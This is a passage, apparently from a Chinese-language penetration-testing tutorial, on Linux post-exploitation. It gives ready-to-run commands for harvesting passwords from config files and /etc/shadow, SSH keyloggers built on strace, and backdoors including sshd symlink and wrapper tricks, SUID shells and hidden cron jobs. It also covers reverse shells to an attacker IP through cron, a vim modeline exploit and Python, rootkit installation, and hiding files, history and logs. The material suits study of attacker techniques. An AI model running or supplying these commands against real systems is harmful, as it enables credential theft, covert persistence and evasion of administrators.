find / -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_" | tee -a $filename
echo -e "\n" | tee -a $filename
echo "jdbc:|pass=|passwd=" | tee -a $filename
find / -regex ".*\.properties\|.*\.conf\|.*\.config\|.*\.sh" | xargs grep -E "=jdbc:|pass=|passwd=" | tee -a $filename
echo -e "\n" | tee -a $filename
# Author cances
echo "ip和网卡信息" | tee -a $filename
ip a | awk '{print $2,$4}' | tee -a $filename
echo -e "\n" | tee -a $filename
echo "可登陆用户" | tee -a $filename
cat /etc/passwd | grep -E -v 'sync$|halt$|nologin$|false|shutdown' | tee -a $filename
echo -e "\n" | tee -a $filename
echo "用户登陆日志" | tee -a $filename
lastlog | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查看 hosts" | tee -a $filename
cat /etc/hosts | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查看 系统版本" | tee -a $filename
cat /etc/*-release | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查看 内核版本" | tee -a $filename
uname -mrs | tee -a $filename

Linux隧道技术

Linux内网渗透用到的隧道技术和Windows内网渗透大差不差。

详细见《代理、转发及隧道隐藏》文章

Linux横向移动

主机存活探测

shell

for i in 192.168.111.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
或者
for k in $( seq 1 255);do ping -c 1 192.168.1.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done 

arpscan

git clone https://github.com/attackdebris/arpscan.git
make
chmod +x arpscan
./arpscan

nbtscan Linux版

wget http://unixwiz.net/tools/nbtscan-source-1.0.35.tgz
tar -xzvf nbtscan-source-1.0.35.tgz
make

nbtscan -h

端口扫描

就正常端口扫描,没什么好说的。针对高危端口,按照渗透测试流程进行渗透,这里就不具体展开了。

常用比如Ladon、fscan等等

https://github.com/k8gege/LadonGo

image-20220302152610697

SSH横向

这个是Linux横向的重点,获取linux账号的明文密码作用很大,因为内网环境管理员可能就那么几个,不同服务器所设置的密码也有可能相同

SSH私钥泄露

不了解SSH私钥登录的可以看这篇文章

https://www.runoob.com/w3cnote/set-ssh-login-key.html

一般情况下SSH密钥存放在~/.ssh/目录下:

image-20220206184233761

id_rsa 为私钥,id_rsa.pub 为公钥

搜索包含SSH密钥的文件:(下面命令不包含隐藏文件,也就是类似.ssh目录下的搜索不到)

grep -ir "BEGIN DSA PRIVATE KEY" /home/*
grep -ir "BEGIN DSA PRIVATE KEY" /*

grep -ir "BEGIN RSA PRIVATE KEY" /home/*
grep -ir "BEGIN RSA PRIVATE KEY" /*

grep -ir "BEGIN OPENSSH PRIVATE KEY" /home/*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /*

如果找到密钥,则需要确定该密钥用于哪个服务器,关注一下几个文件:

/etc/hosts
/etc/ssh/ssh_config
~/.known_hosts
~/.bash_history 
~/.ssh/config 

known_hosts文件用于验证远程登陆系统的身份。ssh可以自动将密钥添加到用户文件,也可以手动添加。该文件包含用户已连接过所有主机的远程机器ip远程机器公钥。一般,初次登陆,ssh会自动将远程主机的公钥添加到用户的known_hosts文件。known_hosts格式有两种,取决于你的~/.ssh/config文件中的HashKnownHosts字段的设置,有可能是明文也有可能是一段哈希字符串。如果没有~/.ssh/config文件,这取决于/etc/ssh/ssh_config 文件中的该字段。

修改 /etc/ssh/ssh_config 文件,

HashKnownHosts no

image-20220207135811443

HashKnownHosts yes

image-20220207135832884

通过密钥进行登录

使用linux机器登录,用-i指定密钥文件的路径

image-20220207112841246

如果要在Windows上使用的话,例如putty:

使用 WinSCP、SFTP 等工具将私钥文件 id_rsa 下载到客户端机器上。然后打开 PuTTYGen,单击 Actions 中的 Load 按钮,载入你刚才下载到的私钥文件。如果你设置了密钥锁码,这时则需要输入。

载入成功后,PuTTYGen 会显示密钥相关的信息。在 Key comment 中键入对密钥的说明信息,然后单击 Save private key 按钮即可将私钥文件存放为 PuTTY 能使用的格式。

今后,当你使用 PuTTY 登录时,可以在左侧的 Connection -> SSH -> Auth 中的 Private key file for authentication: 处选择你的私钥文件,然后即可登录了,过程中只需输入密钥锁码即可。

破解SSH密钥

如果发现的 SSH 密钥使用密码加密,则可以在本地破解(更快),可以使用John the Ripper或者hashcat(如果可以访问 GPU,则应利用 hashcat 来缩短破解时间)。

John the Ripper 有一个函数可以将他的密钥转换为一个名为 john2hash.py 的哈希值,并且预先安装在 Kali 上:

转换哈希:
python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash-john
使用综合密码字典爆破:
john --wordlist=/usr/share/wordlists/password.txt id_rsa.hash-john

SSH密码爆破

SSH密码加密存储在/etc/shadow文件中,可以使用john the raper或者hashcat等工具尝试爆破。

shadow文件介绍

样例:

root:$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1:17938:0:99999:7:::
以冒号分隔:
1.第一个字段是用户名
2.第二字字段是加密的密码,如果是X 则代表不能登录系统  
3.上次修改口令的时间
4.两次修改口令的最短间隔的天数
5.两次修改口令的最长的间隔天数  
6.设置提前多少天告警用户口令将过期
7.口令过期后多少天禁止此用户
8.用户过期日期
9.保留字段

$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
再来解释一下$分割的各个部分的含义:
密钥加密方式有5种:
$1 表示MD5加密算法
$2 表示使用blowfish 加密算法
$5 表示 SHA-256加密算法
$6 表示SHA-512加密算法(如上)
其他 标准的DES

qvhlqI7I:盐值
//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1     :hash值

John the rapper破解:

cp /etc/shadow shadow.txt             //直接保存shadow文件
unshadow /etc/passwd  /etc/shadow >shadow.txt   //如果有unshadow的话,也可以把这两个文件整合

john --wordlist=pass.txt shadow.txt   //利用字典进行破解
john --show shadow.txt        //查看破解信息

image-20220207161536066

hashcat破解(大字典推荐使用hashcat):

hashcat的使用可以看这篇文章https://xz.aliyun.com/t/4008

将/etc/shadow文件,提取密码字段保存hash.txt

$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
hashcat -m 1800 -a 0 -o result.txt hash.txt pass.txt --force

-m 是指定那种加密类型,1800是SHA-512(Unix)的代号,具体–help来查看;
-a  是指定攻击模式,0代表Straight模式,使用字典进行破解尝试;
-o 是破解出来的信息输出结果文件,输出到found.txt文件中;
hash.txt 是我们上面保存的加密密码文件;
pass.txt 是我们的爆破密码,越大越精越好;
--force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项

image-20220207165438202

也可以使用hashcat hash --show来显示结果

image-20220207165237541

SSH Keylogger记录密码

利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。

在当前用户的.bashrc里新建一条alias,这样可以抓取他登陆其他机器的ssh密码。

//在当前用户的shell环境中定义一个别名
vi ~/.bashrc

//在最后一行插入
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

//刷新当前的shell环境
source ~/.bashrc 

image-20220210101055597

设置完毕后,倘若当前系统不存在alias,那么就会影响其正常使用。

设置完毕后,使用SSH登录其他机器:

image-20220210101624395

然后,查看/tmp/.sshpwd-xxxxx文件即可找到密码:

image-20220210102704161

image-20220210102722864

strace监听ssh来源流量

刚刚使用别名的方式来抓取登陆其他机器时的密码,同样也可以利用strace来监听登陆本地的sshd流量,抓到别人连入的密码。

应用场景如:通过漏洞获取root权限,但是不知道明文密码。

ps -ef | grep sshd    //父进程PID

//运行
strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048
//或者后台 运行
nohup strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048 &

image-20220210111523417

image-20220210111531398

image-20220210111555797

image-20220210111647559

image-20220210111447828

Linux权限维持

image-20220208194743103

隐藏

0x01 隐藏文件

Linux 下创建一个隐藏文件:touch .test.txt

touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件,如下图

image-20220208195500830

一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al

linux中每个目录下其实都有.和..、分别代指的是当前目录和上级目录。 建立...文件也是一个比较好的隐藏方法“

image-20220210113635598

建立参数混淆拦截rm文件

echo 'test'  > --   //创建--文件,需要用绝对路径才能读取和删除

rm -rf -- 命令执行了,文件没删除,命令也没有报错,可以误导管理员。

image-20220210131557579

想要删除的话,使用rm -rf '/root/--'

image-20220210131937149

另外,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如/tmp/.font-unix/、/tmp/.ICE-unix/、/tmp/.Test-unix/、/tmp/.X11-unix/、/tmp/.XIM-unix/

image-20220210113653275

0x02 隐藏文件时间戳

Linux下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。

利用方法

比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。

touch -r index.php webshell.php

或者直接将时间戳修改成某年某月某日。如下 2022年 02 月 01 日8时10分30秒。

touch -t 2202010810.30 webshell.php

touch -t 2202010810.30 webshell.php -c  
//-t STAMP      use [[CC]YY]MMDDhhmm[.ss] instead of current time
//-c  不创建文件

image-20220208200617337

0x03 隐藏权限

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

这个技巧常被用在后门,变成了一些难以清除的后门文件。

chattr +i evil.php  #锁定文件
rm -rf evil.php     #提示禁止删除

lsattr  evil.php    #属性查看
chattr -i evil.php  #解除锁定
rm -rf evil.php     #彻底删除文件

image-20220208201823279

0x04 隐藏历史操作

无痕模式

拿到shell以后,开始无痕模式,禁用命令历史记录功能。

[space]set +o history
备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。

在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:

[Space]set -o history
它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。

删除指定历史命令

history显示内存和~/.bash_history中的所有内容
内存中的内容并没有立刻写入~/.bash_history,只有当当前shell关闭时才会将内存内容写入shell

删除单条命令:

history -d [num]

删除多条命令:

sed -i "100,$d" .bash_history    //删除100行以后的操作命令

0x05 隐藏端口

通过端口复用来达到隐藏端口的目的。这里以隐藏SSH端口,通过SSH进行远程登录为例。

方法1、通过SSLH让 HTTPS 和 SSH 共享同一个端口

详细方法参考:SSLH:让 HTTPS 和 SSH 共享同一个端口 - 知乎 (zhihu.com)

这里以kali为例简单演示:

下载SSLH:

sudo apt-get install sslh

配置SSLH:

sudo vi /etc/default/sslh
修改为:
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

启动SSLH:

$ sudo systemctl enable sslh
$ sudo systemctl start sslh

测试,检查 SSLH 守护程序是否正在监听 443。

image-20220209144923880

利用:

现在,你可以使用端口 443 通过 SSH 访问远程服务器:

image-20220209145016452

方法2、利用IPTables进行端口复用

目标机器配置:

# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

攻击机运行:

#开启复用
echo threathuntercoming | socat - tcp:192.168.111.133:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.111.133
#关闭复用
echo threathunterleaving | socat - tcp:192.168.111.133:80

image-20220209151339492

测试完毕后,在目标机删除iptables规则:

iptables -L -n --line-number    //iptables -L -n --line-number
iptables -D INPUT 3             //删除INPUT的第三条已添加规则,这里3代表第几行规则

image-20220209152331570

0x06 隐藏进程

管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。

libprocesshider : https://github.com/gianlucaborello/libprocesshider

linux-inject: https://github.com/gaffe23/linux-inject

后门

SSH后门

SSH软连接

前提:

允许PAM认证(默认):

cat /etc/ssh/sshd_config

image-20220209165359492

原理:

在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0(root)即可成功认证登陆

利用:

可用的软连接名称:

find /etc/pam.d |xargs grep "pam_rootok" 

image-20220209170048583

上面su、chfn、chsh等这几个名称都可以,下面以su为例:

通过软连接建立后门:

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=4444

执行完之后,任何一台机器ssh root@IP -p 4444,输入任意密码,成功登录:

image-20220209170311669

优点:

能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成8081,8080等端口。

删除软连接后门:

rm -rf 【软连接地址】

image-20220209171837937

SSH Wrapper

原理:

init 首先启动的是 /usr/sbin/sshd ,脚本执行到 getpeername 这里的时候,正则匹配会失败,于是执行下一句,启动 /usr/bin/sshd ,这是原始 sshd 。原始的 sshd 监听端口建立了 tcp 连接后,会 fork 一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的 /usr/sbin/sshd ,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字, getpeername 能真的获取到客户端的 TCP 源端口,如果是指定端口, 就执行sh给个shell。

利用:

目标机:

cd /usr/sbin/
mv sshd ../bin/

echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd   //4A是13377的小端模式
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd

/etc/init.d/sshd restart 

攻击机:

socat STDIO TCP4:target_ip:22,sourceport=13377

#如果你想修改源端口,可以用python的struct标准库实现。其中x00x00LF是19526的大端形式,便于传输和处理。
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A

image-20220209174746506

优点:

1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆。

2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。

SSH公钥免密登录

这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,比如redis未授权写入公钥。

但是这个方法比如容易被发现

攻击机生成公私钥对:

ssh-keygen -t rsa

image-20220209182800194

再把公钥id_rsa.pub发送到目标上,追到到authorized_keys文件中:

echo id_rsa.pub >> .ssh/authorized_keys  //将id_rsa.pub内容放到目标.ssh/authorized_keys里

image-20220209182857029

同时赋予权限,但是权限不能过大:

chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

然后,ssh在开启密钥登录功能的前提下,攻击机即可免密登录。

添加用户、隐身登录

添加的用户很容易被发现,不常用。

一句话添加普通用户:

# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest

# useradd -p 方法  ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest

# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd

# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test

一句话添加root用户:

# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

image-20220209185942678

隐身登录:
隐身登录系统,不会被last、who、w等指令检测到

ssh -T username@host /bin/bash -i

ssh -o UserKnownHostsFile=/dev/null -T user@host 
/bin/bash -if

image-20220209190919225

image-20220209190935334

SUID后门

在介绍linux提权的时候,曾说过SUID

什么是suid?suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性——s标志。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权

创建一个suid权限的文件:

cp /bin/bash /tmp/.woot
chmod u+s /tmp/.woot
ls -al /tmp/.woot

image-20220311104434845

使用普通用户运行就可获得root权限:

/tmp/.woot 
/tmp/.woot -p    //bash2 针对 suid 有一些护卫的措施,需要使用-p参数来获取一个root shell

image-20220311104747849

Cron后门

在 ubuntu 中直接在计划任务中默认使用的是sh,指向的是 dash 而不是 bash ,所以执行反弹任务可能会失败,解决方案参考:https://cloud.tencent.com/developer/article/1683265

在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务。

cron表达式在线生成:https://www.bejson.com/othertools/cron/

crontab -e 设置定时任务

#每一分钟执行一次
*/1 * * * * /bin/bash /root/test.sh

或者直接执行反弹shell
*/1 * * * * /bin/bash -c "/bin/sh -i >& /dev/tcp/192.168.111.253/8877 0>&1" 

test.sh:

#!/bin/bash
bash -i >& /dev/tcp/192.168.111.253/8899 0>&1  

chmod +sx test.sh

image-20220210144758320

crontab -l 查看定时任务:

image-20220211154049010

重启crond服务,service crond restart,然后就可以用nc接收shell:

image-20220211154105013

image-20220211153636694

如上方式,管理员执行crontab -l就能看到执行的命令内容不是特别隐蔽。

使用如下命令设置计划任务,crontab -l执行后会显示"no crontab for root",就达到了一个简单的隐藏效果:

(printf "*/1 * * * * /bin/bash /root/test.sh;\rno crontab for `whoami`%100c\n")|crontab -

image-20220210145536461

\r导致显示截断,使得后面的内容逐个字符覆盖前面的字符;

100%c 的作用是格式化输出一个字符,前面99个空格补齐。

详细分析可以看这篇文章:https://cloud.tencent.com/developer/article/1683265

实际上是他将 cron 文件写到文件中,而 crontab -l 就是列出了该文件的内容:

/var/spool/cron/crontabs/root

通常 cat 是看不到这个的,只能利用 less、vim 或者 cat -A 看到,这也是利用了cat的一个缺陷

cat默认使用是支持一些比如 \r 回车符 \n 换行符 \f 换页符、也就是这些符号导致的能够隐藏命令。

image-20220210145733119

VIM后门

vim modeline(CVE-2019-12735)

该漏洞存在于编辑器的 modeline功能,部分 Linux 发行版默认启用了该功能。 当 vim 打开一个包含了 vim modeline 注释行的文件时,会自动读取这一行的参数配置并调整自己的设置到这个配置。

vim默认关闭modeline。

受影响版本:Vim < 8.1.1365, Neovim < 0.3.6

使用:

首先在开启modeline:

vim ~/.vimrc
set modeline

然后我们创建个文件测试一下:

echo ':!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > test.txt
vim test.txt

image-20220311114351851

可以看到成功执行了uname -a命令

现在我们创建反弹shell的文件:

shell.txt

:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.111.253 8888 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

or

:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i >& /dev/tcp/192.168.111.253/8888 0>&1 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

image-20220311134321688

image-20220311134335397

vim python 扩展后门

适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统

vim --version可以看到vim支持python3

image-20220311143734418

构造一个反弹shell脚本
test.py

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.111.253",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

image-20220311144209057

执行

vim -E -c "py3file test.py"

执行完之后命令行界面就会一片空白如下图所示,属正常现象,此时关闭命令行界面,也不会影响已经反弹回去的shell

image-20220311144432781

接收到的shell:

image-20220311144336430

此时可以看到可疑的 vim 连接

image-20220311144558037

但是这样的后门太明显了,而且 vim -E -c “py3file test.py” 命令执行之后,还会有一个空白窗口。

我们需要隐藏一下:

从以下两点出发:

1、

(nohup vim -E -c "py3file test.py"> /dev/null 2>&1 &)

#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
#“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。

2、既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上

因为我们最终的执行命令为:

(nohup vim -E -c "py3file test.py"> /dev/null 2>&1 &) && sleep 2 && rm -f test.py

PAM后门

PAM (Pluggable Authentication Modules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。

利用脚本:

https://github.com/litsand/shell

inetd后门

inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。

如果来自外部的某个socket是要执行一个可交互的shell (比如,我们已经在目标系统的inetd配置文件中事先定义好),这就相当于一个简易的bind型后门

安装:

apt-get install openbsd-inetd

利用:

#修改/etc/inetd.conf
$vim /etc/inetd.conf

#discard stream tcp nowait root internal 
#discard dgram udp wait root internal 
daytime stream tcp nowait root /bin/bash bash -i  # 当外部请求名为daytime的服务时就弹shell
#开启inetd
$inetd

image-20220311155100843

使用nc连接

nc -vv 192.168.111.132 13

image-20220311155201324

进阶:

可以把daytime换成其他服务,服务和端口的对应关系在/etc/services文件查看,我们可以选择现有的,也可以自己添加一个:

image-20220311155453534

然后修改/etc/inetd.conf

image-20220311155606643

nc连接8881端口接口即可获得shell:

image-20220311155651069

检测:

查看配置文件即可

cat /etc/inetd.conf 

ICMP后门

利用ICMP中可控的data字段进行数据传输

项目地址:

https://github.com/andreafabrizi/prism

使用:

首先编译.c文件【具体要求可以看项目里的介绍】

Linux 64bit:
apt-get install libc6-dev-amd64
gcc -DDETACH -m64 -Wall -s -o prism prism.c

Linux 32bit:
apt-get install libc6-dev-i386
gcc -DDETACH -m32 -Wall -s -o prism prism.c

运行:

./prism Inf0
./sendPacket.py 192.168.111.132 p4ssw0rd 192.168.111.253 8888

#192.168.111.132 is the victim machine running prism backdoor
#p4ssw0rd is the key
#192.168.111.253 is the attacker machine address
#8888 is the attacker machine port

image-20220311164302443

image-20220311164201141

DNS后门

在大多数的网络里环境中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。主要原理就是将后门载荷隐藏在拥有PTR记录和A记录的DNS域中。

一些项目:

https://github.com/DamonMohammadbagher/NativePayload_DNS
https://github.com/iagox86/dnscat2
http://code.kryo.se/iodine

进程注入

进程注入类后门一般都需要一个 ptrace 库,ptrace 库用来调试进程,基本 linux 系统都自带此库。

进程注入工具很多

https://github.com/gaffe23/linux-inject
https://sourceforge.net/projects/cymothoa/files/
https://github.com/screetsec/Vegile
【false】Cymothoa

cymothoa 是一个后门工具,利用代码 shellcode 会被注入到进程中,只要进程存在,后门就会有效,所以一般选择一些自启服务的进程来注入,例如 web 服务 mysql,apache 等。其后门所拥有的权限和注入的进程权限是相同的。当拿下目标 shell 后就可以使用 cymothoa 添加后门了。

使用:

下载,进入Cymothoa,运行

./cymothoa -S  #列出可用的shellcode

image-20220312003647387

这里我们就用序号 1 这个 payload,通过端口来反向 shell。使用 -p参数,用来指定需要注入的进程的 pid, - s,用来指定使用 shellcode 的序号,-y用来指定反向 shell 的端口,即别人连接自己时需要连接的端口。运行后当出现 infected 即感染的意思则代表后门注入成功。
image-20220312004001764

没成功,先没管了。。。

Vegile

Vegile是一个用来隐藏自己的进程的工具,即使进程被杀,又会重新启动。总会有一个进程会运行另一个进程,所以我们可以假设这个进程是不可阻挡的。

attack机器

先生成个后门:

msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=IP LPORT=PORT -b "\x00" -f elf -o NAME_BACKDOOR

image-20220312005734879

使用任意一种方式传到victim机器。

使用msf监听:

image-20220312010052613

victim机器

git clone https://github.com/Screetsec/Vegile.git
cd Vegile
chmod +x Vegile

image-20220312010246569

-i是进程注入的方式
-u是进程被杀还可以继续反弹shell

运行

./Vegile --i test

image-20220312010922582

image-20220312011011737

--u也类似,就不演示了。

Tiny shell

Tiny Shell 是一款开源的Unix类后门shell工具,由C语言编写,体积小,通信加密,分为客户端和服务端,支持正向连接和反弹连接模式

https://github.com/orangetw/tsh

使用:

  • 正向:

首先打开tsh.h设置密码(用户加密客户端与服务端的通信数据);

修改SERVER_PORT值(后门运行后监听的端口);

修改FAKE_PROC_NAME值(用于伪装显示后门运行后的进程名字);

注释掉CONNECT_BACK*两行代码(这两行代码用户反向模式);

这里因为演示就简单改一下,修改后如下所示:

image-20220311225941497

编译:

make linux

#支持多种系统  linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf

编译完成后生成tsh(客户端)、tshd(服务端)两个文件:

image-20220311230136677

服务端执行:

umask 077; HOME=/var/tmp ./tshd

./tshd

image-20220311233920436

客户端:(除了获取shell之外,还可以执行单条命令、传输文件)

./tsh 192.168.111.132

#./tsh victim_ip

image-20220311233855218

: 服务端运行后,其父进程PID是1,也就是说这个进程是守护进程除非重启系统,或者手动关闭,否则一直存在(当然你也可以加入启动项,或者加入任务计划中

  • 反向:

编译前的准备工作和 编译正向模式类似,不过 需要将CONNECT_BACK*两行去掉注释,即去掉//,并将ip改为客户端的ip,延时也可适当修改:

image-20220311234900716

编译:

make linux 

服务端运行

umask 077; HOME=/var/tmp ./tshd
./tshd

客户端运行:

./tsh cb  #cb表示反向模式

image-20220311235256077

注:这里只是简单演示,在实际使用中还可以进行各种欺骗性伪装,改进程名、移到欺骗性目录等等。

自启动

chmod +x /etc/rc.d/rc.local
vi /etc/rc.d/rc.local

在此文件中添加需要开机执行的脚本的绝对路径,如

/usr/local/shell/crontab.sh

保存退出,即可生效。

设置定时任务后,系统重启后会自动定时执行,不需要再设置开机自启,如果发现有中断的情况,考虑crond服务的启动情况。

Rootkit

rootkit是攻击者向计算机系统中植入的,能够隐藏自身踪迹并保留root权限的恶意程序。rootkit基于攻击者已经拿到root权限之后对系统进行破坏。rootkit会尽可能通过隐藏文件、进程、模块、进程等信息避免被监控程序检测。

这个项目列出了很多好用的rootkit,感兴趣的可以去看看。

这里只演示一下Reptile的使用。

Reptile 是种 LKM(Loadable Kernel Modules) rootkit,因此具有很好的隐藏性和强大的功能。

安装:

apt-get install vim gcc make g++ unzip -y
apt-get -y install linux-headers-$(uname -r)

git clone https://github.com/f0rb1dd3n/Reptile.git
./setup.sh install    #全自动化安装,安装后也会全自动删除,要注意需要交互式shell

image-20220314113336583

安装过程会有如下选项:

Hide name (will be used to hide dirs/files) (default: reptile): 会被隐藏的文件或文件名

Auth token to magic packets (default: hax0r):连接后门时的认证

tokenBackdoor password (default: s3cr3t):后门密码

Tag name that hide file contents (default: reptile):标签名,在该标签中的内容都会被隐藏

Source port of magic packets (default: 666): 源端口默认即可

Would you like to config reverse shell each X time? (y/n) (default: n): 是否每隔一段时间弹 shell ,这个功能很强,隐藏+开机自启动,如果对方防范意识不高,可以使用这个。

Reverse IP : 控制端ip

Reverse Port: 控制端端口

would you like to config reverse shell each x time(default:1800) :您希望每隔x时间回连一次

安装成功,并且可以删除本地文件夹:

image-20220313230947457

看看rootkit效果:

image-20220314113450450

隐藏目录:

名称中包含的所有文件和文件夹都reptile将被隐藏。您可以在安装之前进行配置。
以下命令隐藏/取消隐藏文件、文件夹、进程和内核模块本身:
隐藏:/reptile/reptile_cmd hide
取消隐藏:/reptile/reptile_cmd show

image-20220314113825241

隐藏进程:

隐藏进程:/reptile/reptile_cmd hide <pid>
取消隐藏进程:/reptile/reptile_cmd show <pid>

隐藏TCP/UDP连接:

隐藏:/reptile/reptile_cmd conn <IP> hide
取消隐藏:/reptile/reptile_cmd conn <IP> show

注意:默认情况下,TCP 和 UDP 隐藏功能隐藏到 IP 的所有连接

控制端:

安装:

#首先安装依赖
apt install libreadline-dev   #Debian
yum install readline-devel    #RHEL

安装执行 ./setup client

image-20220314135315728

进入bin目录,执行./client即可启动

image-20220314113105462

这个后门的运作逻辑是用任意机器(一般都是控制机)的特定端口(配置目标机器的时候666那个srcport参数)给目标 任意端口发送一段数据。然后目标机器接受到这个数据,再按照配置的里面回连。

控制端根据受控端的配置,进行设置:

image-20220314131329220

image-20220314131812622

设置完之后,执行run,等待一会就会收到目标机器的连接,进入控制界面

image-20220314132130204

image-20220314132121385

目标重启之后仍然可以接收到后门。

更多使用,参考官方wiki

Linux痕迹清理

在攻击结束后,如何不留痕迹的清除日志和操作记录,以掩盖入侵踪迹,这其实是一个细致的技术活。你所做的每一个操作,都要被抹掉;你所上传的工具,都应该被安全地删掉。

Linux痕迹清理方法见

https://www.cnblogs.com/yokan/p/15701536.html

参考

https://www.freebuf.com/articles/network/257603.html
https://websec.readthedocs.io/zh/latest/intranet/linux/index.html
https://baiker.top/0839a9742351
https://xz.aliyun.com/t/100
